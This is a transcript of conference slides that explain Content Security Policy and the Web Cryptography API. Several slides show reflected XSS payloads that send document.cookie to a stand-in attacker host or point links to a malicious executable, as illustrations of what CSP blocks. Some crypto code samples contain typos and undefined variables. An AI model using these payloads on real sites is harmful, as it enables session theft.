SlideShare a Scribd company logo
Web Security
CSP and Web Cryptography
Habib Virji
Samsung Open Source Group
habib.virji@samsung.com
FOSDEM 2015
Agenda
Why Web Security
Cross site scripting
Content security policy (CSP)
CSP Directives and reporting
Shortcomings
Next Step
Web Cryptography
Introduction
Web Crypto usage
Next Step
Conclusion
Content Security Policy (CSP)
Why Web Security
Main threats as per OWASP1
are:
Injection
Broken authentication and session
management
Cross-site scripting
Insecure direct object references
Security misconfiguration.
Sensitive data exposure
Missing function level access control
Cross site request forgery (CSRF).
Components usage with known vulnerability.
Unvalidated redirects and forwards.
1
OWASP: https://www.owasp.org/index.php/Top 10 2013-Top 10
Cross site scripting (XSS)
Same-origin policy
Main reliance of security: scripts running should
originate from the same site.
protocol://host:port
Cross site scripting (XSS)
Same-origin policy
Main reliance of security: scripts running should
originate from the same site.
protocol://host:port
Same-origin policy is important for cookies which
store sensitive information and user authentication
details.
Cross site scripting (XSS)
Same-origin policy
Main reliance of security: scripts running should
originate from the same site.
protocol://host:port
Same-origin policy is important for cookies which
store sensitive information and user authentication
details.
Cross-site scripting (XSS)
Cross-site-scripting(XSS) breaks reliance on same
origin security.
XSS can inject client side scripts in web page.
Reflected - Including inside query JavaScript code, which
can process and pass back information.
Persistent - This persists on the server and information is
sent back to the server.
XSS in action
Reflected XSS:
http://vulnerable-site.com/index.php?user=
%3Cscript%3E
window.onload = function() {
var Links=document.getElementsByTagName(’a’);
Links[0].href = ’http://attacker-site.com/malicious.exe’;
}
%3Cscript%3E
%3Cscript%3E
window.open(’http://www.attacker-site.com/collect?cookie=’+document.cookie);
%3Cscript%3E
new Image(’http://www.attacker-site.com/collect?cookie=’+document.cookie)
(IBAN: 978-1597496049)
Content-Security-Policy
Solution to XSS with comprehensive solutions.
HTTP response header set by origin/server to
control/specify from where resources can be loaded.
Origin site enforces static policies.
Content-Security-Policy
Solution to XSS with comprehensive solutions.
HTTP response header set by origin/server to
control/specify from where resources can be loaded.
Origin site enforces static policies.
Benefits from CSP:
Separates code and data.
Stop XSS and code injection via setting whitelist of
allowable content and sources.
Content-Security-Policy
Solution to XSS with comprehensive solutions.
HTTP response header set by origin/server to
control/specify from where resources can be loaded.
Origin site enforces static policies.
Benefits from CSP:
Separates code and data.
Stop XSS and code injection via setting whitelist of
allowable content and sources.
Each page header has to set separate policy set.
How CSP protects from XSS
content-security-policy: connect-src ’self’
<script>
window.open(http://www.attacker-site.com/collect?
cookie=+document.cookie);
</script>
Error in console:
Refused to connect to ’http://www.attacker-site.com/’
because it violates the document’s Content Security
Policy directive: "connect-src ’self’".
CSP Directives
script-src: All eval and inline-script are stopped.
style-src: All inline style are stopped.
object-src: Source of flash source and other plugin object.
image-src: Origins of images.
font-src: font files.
connect-src: Source for WebSocket/XHR/EventSource
frame-src: Iframes source for embedding YouTube
media-src: Source for Video and Audio
default-src: All above.
sandbox: Special directive to block everything. Access via
allow-scripts, allow-forms
CSP Reporting
CSP Reporting provides a way of getting informed if some
violation has been done.
content-security-policy: default-src: ’self’; report-uri: /myreport
Following report will be auto-generated and sent to the server
when invalid access is done:
{"csp-report": {
"document-uri": "http://example.org/page.html",
"referrer": "http://evil.example.com/",
"blocked-uri": "http://evil.example.com/evil.js",
"violated-directive": "default-src ’self’",
"original-policy": "default-src ’self’,
"report-uri" "http://example.org/myreport" }
}
CSP Reporting
CSP Reporting provides a way of getting informed if some
violation has been done.
content-security-policy: default-src: ’self’; report-uri: /myreport
Following report will be auto-generated and sent to the server
when invalid access is done:
{"csp-report": {
"document-uri": "http://example.org/page.html",
"referrer": "http://evil.example.com/",
"blocked-uri": "http://evil.example.com/evil.js",
"violated-directive": "default-src ’self’",
"original-policy": "default-src ’self’,
"report-uri" "http://example.org/myreport" }
}
Instead of moving full site to blocking other origins.
content-security-policy-report-only: default-src: ’self’
CSP shortcoming
Main issue with adaptation is blocking in-line JavaScript.2
2
https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser-
for-security
3
http://threatpost.com/content-security-policy-mitigates-xss-breaks-
websites/107270
4
http://mweissbacher.com/publications/csp raid.pdf
CSP shortcoming
Main issue with adaptation is blocking in-line JavaScript.2
Browser bugs and incompatibility breaks site.3
IE supports CSP via different header
X-Content-Security-Policy header.
2
https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser-
for-security
3
http://threatpost.com/content-security-policy-mitigates-xss-breaks-
websites/107270
4
http://mweissbacher.com/publications/csp raid.pdf
CSP shortcoming
Main issue with adaptation is blocking in-line JavaScript.2
Browser bugs and incompatibility breaks site.3
IE supports CSP via different header
X-Content-Security-Policy header.
Enforcement breaks important extensions present in the
browser.3
2
https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser-
for-security
3
http://threatpost.com/content-security-policy-mitigates-xss-breaks-
websites/107270
4
http://mweissbacher.com/publications/csp raid.pdf
CSP shortcoming
Main issue with adaptation is blocking in-line JavaScript.2
Browser bugs and incompatibility breaks site.3
IE supports CSP via different header
X-Content-Security-Policy header.
Enforcement breaks important extensions present in the
browser.3
Require changing structure of their site.3
Dynamically named sub-domains also stops websites
using CSP features.4
2
https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser-
for-security
3
http://threatpost.com/content-security-policy-mitigates-xss-breaks-
websites/107270
4
http://mweissbacher.com/publications/csp raid.pdf
CSP shortcoming
Main issue with adaptation is blocking in-line JavaScript.2
Browser bugs and incompatibility breaks site.3
IE supports CSP via different header
X-Content-Security-Policy header.
Enforcement breaks important extensions present in the
browser.3
Require changing structure of their site.3
Dynamically named sub-domains also stops websites
using CSP features.4
Requires compliance across all web application from same
origin.4
2
https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser-
for-security
3
http://threatpost.com/content-security-policy-mitigates-xss-breaks-
websites/107270
4
http://mweissbacher.com/publications/csp raid.pdf
CSP Next Step - Inline script
What it addresses:
content-security-policy: script-src ’self’
CSP Next Step - Inline script
What it addresses:
content-security-policy: script-src ’self’
CSP made it mandatory not to include inline
JavaScript but in all JavaScript in a separate
file.
Required using unsafe-inline, to allow inline
JavaScript to execute.
Several sites failed to adapt CSP such as Twitter.2
CSP Next Step - Inline script
What it addresses:
content-security-policy: script-src ’self’
CSP made it mandatory not to include inline
JavaScript but in all JavaScript in a separate
file.
Required using unsafe-inline, to allow inline
JavaScript to execute.
Several sites failed to adapt CSP such as Twitter.2
New mechanism handle inline JavaScript by
setting nonce or hash values.
CSP Next Step - Inline script
Nonce mechanism:
{content-security-policy:
script-src:
’9253884’
}
<script nonce="9253884">
doStuff();
</script>
Challenges:5
New nonce is expected
and no reuse of nonce.
Support in the framework.
5
https://docs.google.com/presentation/d/12JxuNy92C6ARrlsGaykXW5PcD0PKmU1VBNtXyxaePZ4
CSP Next Step - Inline script
Nonce mechanism:
{content-security-policy:
script-src:
’9253884’
}
<script nonce="9253884">
doStuff();
</script>
Challenges:5
New nonce is expected
and no reuse of nonce.
Support in the framework.
Hashing mechanism:
{content-security-policy:
script-src:
’sha256-67134...287d7a’
}
<script>
doStuff();
</script>
Challenges:5
New hash for every
change.
Dynamic content handling.
5
https://docs.google.com/presentation/d/12JxuNy92C6ARrlsGaykXW5PcD0PKmU1VBNtXyxaePZ4
CSP Next Step -
SubResource Integrity
Instead of securing whole page, secure
resources.
Fetched resource is reached without any
manipulation when hosted at other origin.
CSP Next Step -
SubResource Integrity
Instead of securing whole page, secure
resources.
Fetched resource is reached without any
manipulation when hosted at other origin.
<script
src="https://legible.com/script.js"
noncanonical-src="http://insecure.net/script.js"
integrity="ni:///sha-256;
asijfiqu4t12...woeji3W?ct=application/javascript">
</script>
CSP Next Step -
Per-page Suborigins
Sites segregate contents into separate
flexible synthetic origins.
The synthetic origins should be related to
the main origin.
Content in synthetic origin can interact
via postMessage.
End user sees content coming from a
single origin
content-security-policy: suborigin ’<name>’
protocol://name@host:port
Web Cryptography
Introduction
JavaScript API’s to perform cryptographic operations
such as
Hashing
Signature generation and verification.
Encryption and decryption
Derive keys and bits
Introduction
JavaScript API’s to perform cryptographic operations
such as
Hashing
Signature generation and verification.
Encryption and decryption
Derive keys and bits
Uses 4 interfaces: RandomSource, CryptoKey,
SubtleCrypto and WorkerCrypto.
Introduction
JavaScript API’s to perform cryptographic operations
such as
Hashing
Signature generation and verification.
Encryption and decryption
Derive keys and bits
Uses 4 interfaces: RandomSource, CryptoKey,
SubtleCrypto and WorkerCrypto.
Different key format supported are: {”raw”, ”spki”,
”pkcs8”, ”jwk”}
Web Cryptography Algorithms
Digest SHA-1/256/384/512
GenerateKey RSASSA-PKCS1-v1 5, RSA-PSS/OAEP,
AES-CTR/CBC/CMAC/GCM/CFB/KW,
ECDSA, HMAC, DH, PBKDF2
Import/Export RSASSA-PKCS1-v1 5, RSA-PSS/OAEP,
AES-CTR/CBC/CMAC/GCM/CFB/KW,
HMAC, DH, PBKDF2, CONCAT
HKDF-CTR, ECDSA, ECDH
Sign/Verify RSASSA-PKCS1-v1 5, RSA-PSS, ECDSA,
AES-CMAC, HMAC
Encrypt/Decrypt RSA-OAEP, AES-CTR/CBC/GCM/CFB
DeriveBits/Key ECDH, DH, CONCAT, HKDF-CTR, PBKDF2
Wrap/Unwrap RSA-OAEP, AES-CTR/CBC/GCM/CFB/KW
Use Case6
Multi-factor authentication for user or
service.
Protected document exchange
Cloud storage
Document or code signing
Confidentiality and integrity of
communication.
JavaScript object signing and encryption
(JOSE).
6
http://www.w3.org/TR/WebCryptoAPI/
Digest - SHA-256
var userInput = "Integrity example";
var typedArray = new
Uint8Array(userInput.length);
for (var i=0; i<userInput.length; i++)
typedArray[i]=userInput.charCodeAt(i);
var promise = crypto.subtle.digest(
{name:"SHA-256"},
typedArray);
promise.then(function(dgst){
console.log(bytesToHexString(dgst));
});
Digest - SHA-256
var userInput = "Integrity example";
var typedArray = new
Uint8Array(userInput.length);
for (var i=0; i<userInput.length; i++)
typedArray[i]=userInput.charCodeAt(i);
var promise = crypto.subtle.digest(
{name:"SHA-256"},
typedArray);
promise.then(function(dgst){
console.log(bytesToHexString(dgst));
});
function bytesToHexString(bytes) {
bytes = new Uint8Array(bytes);
var hexBytes = [];
for (var i = 0; i < bytes.length; ++i) {
var byteString=bytes[i].toString(16);
if (byteString.length < 2)
byteString = "0" + byteString;
hexBytes.push(byteString);
}
return hexBytes.join("");
}
Key Generation - HMAC
var promise = crypto.subtle.generateKey(
{name: "hmac", hash: {name: "sha-256"}},// Algorithm
true, // Extractable
["sign", "verify"]); // KeyUsage
promise.then(function(key) {
console.log(key.type); // secret
console.log(key.usages); // sign, verify
console.log(key.algorithm.name); // HMAC
console.log(key.algorithm.hash.name); // SHA-256
console.log(key.algorithm.length); // 512
});
Sign & Verify - HMAC
var promise = crypto.subtle.sign(
{name:"HMAC"},
key,
typedArray);
promise.then(function(mac){
console.log(bytesToHexString(mac));
});
var verify = crypto.subtle.verify(
{name:"HMAC"},
key,
mac,
typedArray);
verify.then(function(verified){
console.log(verified); // true or false
});
Encrypt & Decrypt - AES-CBC
var promise =
crypto.subtle.importKey(
’raw’,
keyData,
{’name’:’aes-cbc’,
iv: initialVector},
false,
[’encrypt’, ’decrypt’]);
var encypt =
promise.then(function(key) {
crypto.subtle.encrypt(
{’name’:’aes-cbc’,
iv: initialVector},
key,
plainText)});
encrypt.then( function(ct) {
console.log(new Uint8Array(ct));
});
Encrypt & Decrypt - AES-CBC
var promise =
crypto.subtle.importKey(
’raw’,
keyData,
{’name’:’aes-cbc’,
iv: initialVector},
false,
[’encrypt’, ’decrypt’]);
var encypt =
promise.then(function(key) {
crypto.subtle.encrypt(
{’name’:’aes-cbc’,
iv: initialVector},
key,
plainText)});
encrypt.then( function(ct) {
console.log(new Uint8Array(ct));
});
var decrypt =
crypto.subtle.decrypt(
{’name’:’aes-cbc’,
iv: initialVector},
key,
ct)
);
decrypt.then(
function(byte){
var b = new Uint8Array(byte);
var decrypt = "";
for (var i=0;i<b.byteLength;i++)
decrypt +=
String.fromCharCode(b[i]);
console.log(decrypt);
});
DeriveKey/DeriveBits
var promise = crypto.subtle.importKey(
"raw",
hexStringToUint8Array(kHkdfKey),
{name: "HKDF"},
true,
[’deriveKey’, ’deriveBits’]);
promise.then(function(key) {
var deriveBit = crypto.subtle.deriveBit(
{name: "HKDF",
hash: "SHA-256",
salt: new Uint8Array(),
info: new Uint8Array()},
key,
0);
deriveBit.then(function(mac) {
console.log(bytesToHexString(result));
});
});
Next Steps
Main area of focus in next revision of WebCrypto.7
Multi-factor authentication
Authentication mechanism should be standardized.
Hardware token as way of authorization.
Secure element access.
Right level of abstraction to make key available
outside browser.
Handling different keys: User Key, Service Key, Platform Key
and Device Keys.
Key material should be available outside browser
environment and bound to a local authenticator.
Ability to verify source of the key i.e. attestation
provenance.
7
http://www.w3.org/2012/webcrypto/webcrypto-next-workshop/
Conclusion
CSP and Web Crypto are two separate Web Security
mechanism.
JavaScript code needs to be verifiable, to trust origin with
”remote code execution”.
CSP provide white-listing your script code and WebCrypto
provides way of securing your data.
CSP adoption might take time, but its usage might reflect
in top alexa sites.
Hardware token with authentication simplification will
improve user authentication.
Key management and retrieval across platform is going to
be big boost for Web Crypto adoption.
Thank you.

More Related Content

What's hot (20)

PDF
Security and Privacy on the Web in 2015
Francois Marier
 
PDF
Are you botching the security of your AngularJS applications? (DevFest 2016)
Philippe De Ryck
 
PPTX
W3 conf hill-html5-security-realities
Brad Hill
 
PDF
Security and Privacy on the Web in 2016
Francois Marier
 
PDF
JavaOne India 2011 - Running your Java EE 6 Apps in the Cloud
Arun Gupta
 
PDF
CloudFlare vs Incapsula: Round 2
Zero Science Lab
 
PDF
http security response headers for web security
Olatunji Adetunji
 
PPT
Owasp universal-http-do s
E Hacking
 
PDF
10 Excellent Ways to Secure Your Spring Boot Application - The Secure Develop...
Matt Raible
 
PDF
Web App Security for Java Developers - PWX 2021
Matt Raible
 
PDF
Lock That Shit Down! Auth Security Patterns for Apps, APIs, and Infra - Sprin...
Matt Raible
 
PPTX
Content Security Policy - The application security Swiss Army Knife
Scott Helme
 
PDF
10 Excellent Ways to Secure Spring Boot Applications - Okta Webinar 2020
Matt Raible
 
PDF
When Ajax Attacks! Web application security fundamentals
Simon Willison
 
PDF
Case Study: Migrating Hyperic from EJB to Spring from JBoss to Apache Tomcat
VMware Hyperic
 
PPTX
Phu appsec13
drewz lin
 
PDF
Web Application Firewalls Detection, Bypassing And Exploitation
Sandro Gauci
 
PDF
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
drewz lin
 
PDF
Content Security Policy (CSP)
Arun Kumar
 
PDF
Content-Security-Policy 2018.0
Philippe Gamache
 
Security and Privacy on the Web in 2015
Francois Marier
 
Are you botching the security of your AngularJS applications? (DevFest 2016)
Philippe De Ryck
 
W3 conf hill-html5-security-realities
Brad Hill
 
Security and Privacy on the Web in 2016
Francois Marier
 
JavaOne India 2011 - Running your Java EE 6 Apps in the Cloud
Arun Gupta
 
CloudFlare vs Incapsula: Round 2
Zero Science Lab
 
http security response headers for web security
Olatunji Adetunji
 
Owasp universal-http-do s
E Hacking
 
10 Excellent Ways to Secure Your Spring Boot Application - The Secure Develop...
Matt Raible
 
Web App Security for Java Developers - PWX 2021
Matt Raible
 
Lock That Shit Down! Auth Security Patterns for Apps, APIs, and Infra - Sprin...
Matt Raible
 
Content Security Policy - The application security Swiss Army Knife
Scott Helme
 
10 Excellent Ways to Secure Spring Boot Applications - Okta Webinar 2020
Matt Raible
 
When Ajax Attacks! Web application security fundamentals
Simon Willison
 
Case Study: Migrating Hyperic from EJB to Spring from JBoss to Apache Tomcat
VMware Hyperic
 
Phu appsec13
drewz lin
 
Web Application Firewalls Detection, Bypassing And Exploitation
Sandro Gauci
 
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
drewz lin
 
Content Security Policy (CSP)
Arun Kumar
 
Content-Security-Policy 2018.0
Philippe Gamache
 

Similar to Web Security - CSP & Web Cryptography (20)

PDF
Content Security Policy - Lessons learned at Yahoo
Binu Ramakrishnan
 
PDF
Rails security: above and beyond the defaults
Matias Korhonen
 
PDF
Web Application Security 2nd Edition (Early Release) Andrew Hoffman
haskgeilyn
 
PDF
Web Application Security 2nd Edition (Early Release) Andrew Hoffman
dirosochaniz
 
PDF
26da6181-c81f-4daf-a87c-c45e11705510.pdf
tarasov14082000
 
PDF
Breaking Bad CSP
Lukas Weichselbaum
 
PPTX
W3 conf hill-html5-security-realities
Brad Hill
 
PDF
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
Lewis Ardern
 
ODP
21 05-2018
Praaveen Vr
 
PDF
HTTP_Header_Security.pdf
ksudhakarreddy5
 
PDF
Csp and http headers
devObjective
 
PDF
Csp and http headers
ColdFusionConference
 
PPTX
Protecting Web App users in today’s hostile environment
ajitdhumale
 
PPTX
A Practical Guide to Securing Modern Web Applications
Manish Shekhawat
 
PDF
CONFidence 2018: Defense-in-depth techniques for modern web applications and ...
PROIDEA
 
PPT
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
PDF
Essential Security Practices for Modern Web Developers.pdf
Zinavo Pvt Ltd
 
PPTX
[2.1] Web application Security Trends - Omar Ganiev
OWASP Russia
 
PPTX
Owasp web application security trends
beched
 
PPTX
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Divyanshu
 
Content Security Policy - Lessons learned at Yahoo
Binu Ramakrishnan
 
Rails security: above and beyond the defaults
Matias Korhonen
 
Web Application Security 2nd Edition (Early Release) Andrew Hoffman
haskgeilyn
 
Web Application Security 2nd Edition (Early Release) Andrew Hoffman
dirosochaniz
 
26da6181-c81f-4daf-a87c-c45e11705510.pdf
tarasov14082000
 
Breaking Bad CSP
Lukas Weichselbaum
 
W3 conf hill-html5-security-realities
Brad Hill
 
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
Lewis Ardern
 
21 05-2018
Praaveen Vr
 
HTTP_Header_Security.pdf
ksudhakarreddy5
 
Csp and http headers
devObjective
 
Csp and http headers
ColdFusionConference
 
Protecting Web App users in today’s hostile environment
ajitdhumale
 
A Practical Guide to Securing Modern Web Applications
Manish Shekhawat
 
CONFidence 2018: Defense-in-depth techniques for modern web applications and ...
PROIDEA
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
Essential Security Practices for Modern Web Developers.pdf
Zinavo Pvt Ltd
 
[2.1] Web application Security Trends - Omar Ganiev
OWASP Russia
 
Owasp web application security trends
beched
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Divyanshu
 
Ad

More from Samsung Open Source Group (20)

PDF
The Complex IoT Equation (and FLOSS solutions)
Samsung Open Source Group
 
PDF
Easy IoT with JavaScript
Samsung Open Source Group
 
PDF
Spawny: A New Approach to Logins
Samsung Open Source Group
 
PDF
Rapid SPi Device Driver Development over USB
Samsung Open Source Group
 
PDF
Tizen RT: A Lightweight RTOS Platform for Low-End IoT Devices
Samsung Open Source Group
 
PDF
IoTivity: Smart Home to Automotive and Beyond
Samsung Open Source Group
 
PDF
IoTivity for Automotive: meta-ocf-automotive tutorial
Samsung Open Source Group
 
PDF
GENIVI + OCF Cooperation
Samsung Open Source Group
 
PDF
Framework for IoT Interoperability
Samsung Open Source Group
 
PDF
Open Source Metrics to Inform Corporate Strategy
Samsung Open Source Group
 
PDF
IoTivity for Automotive IoT Interoperability
Samsung Open Source Group
 
PDF
JerryScript: An ultra-lighteweight JavaScript Engine for the Internet of Thin...
Samsung Open Source Group
 
PDF
Adding IEEE 802.15.4 and 6LoWPAN to an Embedded Linux Device
Samsung Open Source Group
 
PDF
IoTivity: From Devices to the Cloud
Samsung Open Source Group
 
PDF
SOSCON 2016 JerryScript
Samsung Open Source Group
 
PDF
IoT: From Arduino Microcontrollers to Tizen Products using IoTivity
Samsung Open Source Group
 
PDF
Run Your Own 6LoWPAN Based IoT Network
Samsung Open Source Group
 
PDF
Practical Guide to Run an IEEE 802.15.4 Network with 6LoWPAN Under Linux
Samsung Open Source Group
 
PDF
IoTivity Tutorial: Prototyping IoT Devices on GNU/Linux
Samsung Open Source Group
 
PDF
JerryScript: An ultra-lighteweight JavaScript Engine for the Internet of Things
Samsung Open Source Group
 
The Complex IoT Equation (and FLOSS solutions)
Samsung Open Source Group
 
Easy IoT with JavaScript
Samsung Open Source Group
 
Spawny: A New Approach to Logins
Samsung Open Source Group
 
Rapid SPi Device Driver Development over USB
Samsung Open Source Group
 
Tizen RT: A Lightweight RTOS Platform for Low-End IoT Devices
Samsung Open Source Group
 
IoTivity: Smart Home to Automotive and Beyond
Samsung Open Source Group
 
IoTivity for Automotive: meta-ocf-automotive tutorial
Samsung Open Source Group
 
GENIVI + OCF Cooperation
Samsung Open Source Group
 
Framework for IoT Interoperability
Samsung Open Source Group
 
Open Source Metrics to Inform Corporate Strategy
Samsung Open Source Group
 
IoTivity for Automotive IoT Interoperability
Samsung Open Source Group
 
JerryScript: An ultra-lighteweight JavaScript Engine for the Internet of Thin...
Samsung Open Source Group
 
Adding IEEE 802.15.4 and 6LoWPAN to an Embedded Linux Device
Samsung Open Source Group
 
IoTivity: From Devices to the Cloud
Samsung Open Source Group
 
SOSCON 2016 JerryScript
Samsung Open Source Group
 
IoT: From Arduino Microcontrollers to Tizen Products using IoTivity
Samsung Open Source Group
 
Run Your Own 6LoWPAN Based IoT Network
Samsung Open Source Group
 
Practical Guide to Run an IEEE 802.15.4 Network with 6LoWPAN Under Linux
Samsung Open Source Group
 
IoTivity Tutorial: Prototyping IoT Devices on GNU/Linux
Samsung Open Source Group
 
JerryScript: An ultra-lighteweight JavaScript Engine for the Internet of Things
Samsung Open Source Group
 
Ad

Recently uploaded (20)

PPTX
Agentic Automation Journey Series Day 2 – Prompt Engineering for UiPath Agents
klpathrudu
 
PDF
AI + DevOps = Smart Automation with devseccops.ai.pdf
Devseccops.ai
 
PDF
MiniTool Partition Wizard 12.8 Crack License Key LATEST
hashhshs786
 
PPTX
Empowering Asian Contributions: The Rise of Regional User Groups in Open Sour...
Shane Coughlan
 
PDF
[Solution] Why Choose the VeryPDF DRM Protector Custom-Built Solution for You...
Lingwen1998
 
PDF
Alarm in Android-Scheduling Timed Tasks Using AlarmManager in Android.pdf
Nabin Dhakal
 
PDF
HiHelloHR – Simplify HR Operations for Modern Workplaces
HiHelloHR
 
PDF
Download Canva Pro 2025 PC Crack Full Latest Version
bashirkhan333g
 
PPTX
Hardware(Central Processing Unit ) CU and ALU
RizwanaKalsoom2
 
PPTX
Tally software_Introduction_Presentation
AditiBansal54083
 
PDF
Why Businesses Are Switching to Open Source Alternatives to Crystal Reports.pdf
Varsha Nayak
 
PPTX
OpenChain @ OSS NA - In From the Cold: Open Source as Part of Mainstream Soft...
Shane Coughlan
 
PDF
Automate Cybersecurity Tasks with Python
VICTOR MAESTRE RAMIREZ
 
PPTX
Transforming Mining & Engineering Operations with Odoo ERP | Streamline Proje...
SatishKumar2651
 
PPTX
Migrating Millions of Users with Debezium, Apache Kafka, and an Acyclic Synch...
MD Sayem Ahmed
 
PPTX
ChiSquare Procedure in IBM SPSS Statistics Version 31.pptx
Version 1 Analytics
 
PPTX
Tally_Basic_Operations_Presentation.pptx
AditiBansal54083
 
PDF
Open Chain Q2 Steering Committee Meeting - 2025-06-25
Shane Coughlan
 
PPTX
AEM User Group: India Chapter Kickoff Meeting
jennaf3
 
PDF
Driver Easy Pro 6.1.1 Crack Licensce key 2025 FREE
utfefguu
 
Agentic Automation Journey Series Day 2 – Prompt Engineering for UiPath Agents
klpathrudu
 
AI + DevOps = Smart Automation with devseccops.ai.pdf
Devseccops.ai
 
MiniTool Partition Wizard 12.8 Crack License Key LATEST
hashhshs786
 
Empowering Asian Contributions: The Rise of Regional User Groups in Open Sour...
Shane Coughlan
 
[Solution] Why Choose the VeryPDF DRM Protector Custom-Built Solution for You...
Lingwen1998
 
Alarm in Android-Scheduling Timed Tasks Using AlarmManager in Android.pdf
Nabin Dhakal
 
HiHelloHR – Simplify HR Operations for Modern Workplaces
HiHelloHR
 
Download Canva Pro 2025 PC Crack Full Latest Version
bashirkhan333g
 
Hardware(Central Processing Unit ) CU and ALU
RizwanaKalsoom2
 
Tally software_Introduction_Presentation
AditiBansal54083
 
Why Businesses Are Switching to Open Source Alternatives to Crystal Reports.pdf
Varsha Nayak
 
OpenChain @ OSS NA - In From the Cold: Open Source as Part of Mainstream Soft...
Shane Coughlan
 
Automate Cybersecurity Tasks with Python
VICTOR MAESTRE RAMIREZ
 
Transforming Mining & Engineering Operations with Odoo ERP | Streamline Proje...
SatishKumar2651
 
Migrating Millions of Users with Debezium, Apache Kafka, and an Acyclic Synch...
MD Sayem Ahmed
 
ChiSquare Procedure in IBM SPSS Statistics Version 31.pptx
Version 1 Analytics
 
Tally_Basic_Operations_Presentation.pptx
AditiBansal54083
 
Open Chain Q2 Steering Committee Meeting - 2025-06-25
Shane Coughlan
 
AEM User Group: India Chapter Kickoff Meeting
jennaf3
 
Driver Easy Pro 6.1.1 Crack Licensce key 2025 FREE
utfefguu
 

Web Security - CSP & Web Cryptography

  • 1. Web Security CSP and Web Cryptography Habib Virji Samsung Open Source Group [email protected] FOSDEM 2015
  • 2. Agenda Why Web Security Cross site scripting Content security policy (CSP) CSP Directives and reporting Shortcomings Next Step Web Cryptography Introduction Web Crypto usage Next Step Conclusion
  • 4. Why Web Security Main threats as per OWASP1 are: Injection Broken authentication and session management Cross-site scripting Insecure direct object references Security misconfiguration. Sensitive data exposure Missing function level access control Cross site request forgery (CSRF). Components usage with known vulnerability. Unvalidated redirects and forwards. 1 OWASP: https://www.owasp.org/index.php/Top 10 2013-Top 10
  • 5. Cross site scripting (XSS) Same-origin policy Main reliance of security: scripts running should originate from the same site. protocol://host:port
  • 6. Cross site scripting (XSS) Same-origin policy Main reliance of security: scripts running should originate from the same site. protocol://host:port Same-origin policy is important for cookies which store sensitive information and user authentication details.
  • 7. Cross site scripting (XSS) Same-origin policy Main reliance of security: scripts running should originate from the same site. protocol://host:port Same-origin policy is important for cookies which store sensitive information and user authentication details. Cross-site scripting (XSS) Cross-site-scripting(XSS) breaks reliance on same origin security. XSS can inject client side scripts in web page. Reflected - Including inside query JavaScript code, which can process and pass back information. Persistent - This persists on the server and information is sent back to the server.
  • 8. XSS in action Reflected XSS: http://vulnerable-site.com/index.php?user= %3Cscript%3E window.onload = function() { var Links=document.getElementsByTagName(’a’); Links[0].href = ’http://attacker-site.com/malicious.exe’; } %3Cscript%3E %3Cscript%3E window.open(’http://www.attacker-site.com/collect?cookie=’+document.cookie); %3Cscript%3E new Image(’http://www.attacker-site.com/collect?cookie=’+document.cookie) (IBAN: 978-1597496049)
  • 9. Content-Security-Policy Solution to XSS with comprehensive solutions. HTTP response header set by origin/server to control/specify from where resources can be loaded. Origin site enforces static policies.
  • 10. Content-Security-Policy Solution to XSS with comprehensive solutions. HTTP response header set by origin/server to control/specify from where resources can be loaded. Origin site enforces static policies. Benefits from CSP: Separates code and data. Stop XSS and code injection via setting whitelist of allowable content and sources.
  • 11. Content-Security-Policy Solution to XSS with comprehensive solutions. HTTP response header set by origin/server to control/specify from where resources can be loaded. Origin site enforces static policies. Benefits from CSP: Separates code and data. Stop XSS and code injection via setting whitelist of allowable content and sources. Each page header has to set separate policy set.
  • 12. How CSP protects from XSS content-security-policy: connect-src ’self’ <script> window.open(http://www.attacker-site.com/collect? cookie=+document.cookie); </script> Error in console: Refused to connect to ’http://www.attacker-site.com/’ because it violates the document’s Content Security Policy directive: "connect-src ’self’".
